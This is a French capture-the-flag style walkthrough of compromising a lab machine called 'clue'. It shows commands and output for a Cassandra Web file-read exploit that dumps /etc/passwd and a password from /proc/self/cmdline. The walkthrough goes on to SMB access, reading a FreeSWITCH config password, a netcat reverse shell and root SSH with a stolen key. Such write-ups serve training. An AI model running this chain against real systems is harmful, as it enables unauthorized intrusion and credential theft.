Nous l'avons testé avec le mot de passe par défaut : ClueCon, sans succès.
Accès initial
Nous revenons donc à l'exploit pour Cassandra Web
Il fonctionne ! Nous avons donc deux users : cassie et anthony Nous avons essayé de bruteforce par ssh mais sans succès.
Peut-être faut-il chercher un fichier de configuration ayant le mot de passe de FreeSwitch ? Nous n'arrivons pas à accéder au fichier.
Dans la page de l'exploit, il y avait quelque chose d'intéressant :
# > cassmoney.py 10.0.0.5 /proc/self/cmdline
Le mot de passe de Cassie serait : SecondBiteTheApple330
Nous ne pouvons nous connecter en ssh avec ce mot de passe. Nous essayons avec smb, et oui ! Cela fonctione.
Nous avons fait le choix de tout télécharger. Nous aurions pu également télécharger seul les fichiers intéressants, par exemple : autoload_configs/event_socket.conf.xml que nous n'avions pas trouvé avec la LFI précédente.
Rien d'intéressant dans ces fichiers... Cependant, nous avons maintenant le path complet du fichier /event_socket.conf.xml
Un nouveau mot de passe ! Nous pouvons maintenant utiliser l'exploit pour freeswitch en modifiant le mot de passe par celui que l'on vient de trouver.
Nous allons chercher à obtenir un reverse-shell. Tout d'abord nous vérifions la présence de nc sur la cible avec which nc puis testons plusieurs ports. Le port 80 fonctionne.
Elévation des privilèges
Nous ne pouvons pas le lire. Mais nous allons essayé avec l'exploit du port 3000.
On le copie dans un fichier et modifie les droits (chmod 600). Ne fonctionnant pas pour cassie, on essaye pour anthony... Toujours pas, et root ?
┌──(kali㉿kali)-[~]
└─$ python3 script.py 192.168.156.240 -p 3000 /etc/passwd
/home/kali/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.8) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ntp:x:106:113::/nonexistent:/usr/sbin/nologin
cassandra:x:107:114:Cassandra database,,,:/var/lib/cassandra:/usr/sbin/nologin
cassie:x:1000:1000::/home/cassie:/bin/bash
freeswitch:x:998:998:FreeSWITCH:/var/lib/freeswitch:/bin/false
anthony:x:1001:1001::/home/anthony:/bin/bash
┌──(kali㉿kali)-[~]
└─$ python3 script.py 192.168.156.240 -p 3000 /proc/self/cmdline
/home/kali/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.8) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
/usr/bin/ruby2.5/usr/local/bin/cassandra-web-ucassie-pSecondBiteTheApple330
┌──(kali㉿kali)-[~]
└─$ smbmap -H 192.168.156.240 -u cassie -p SecondBiteTheApple330
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] IP: 192.168.156.240:445 Name: 192.168.156.240 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
backup READ ONLY Backup web directory shares
IPC$ NO ACCESS IPC Service (Samba 4.9.5-Debian)
┌──(kali㉿kali)-[~/oscp/clue]
└─$ smbclient //192.168.156.240/backup -U cassie%SecondBiteTheApple330
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Fri Aug 5 04:43:50 2022
.. D 0 Fri Aug 5 04:43:44 2022
freeswitch D 0 Fri Aug 5 04:43:51 2022
cassandra D 0 Fri May 6 11:04:47 2022
14343176 blocks of size 1024. 10593300 blocks available
smb: \> recurse ON
smb: \> prompt off
smb: \> mget *
┌──(kali㉿kali)-[~]
└─$ python3 script.py 192.168.156.240 /etc/freeswitch/autoload_configs/event_socket.conf.xml
/home/kali/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.8) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
<configuration name="event_socket.conf" description="Socket Client">
<settings>
<param name="nat-map" value="false"/>
<param name="listen-ip" value="0.0.0.0"/>
<param name="listen-port" value="8021"/>
<param name="password" value="StrongClueConEight021"/>
</settings>
</configuration>
┌──(kali㉿kali)-[~/oscp/clue]
└─$ ssh root@192.168.156.240 -i id_rsa
Linux clue 4.19.0-21-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Apr 29 17:57:54 2024
root@clue:~# whoami
root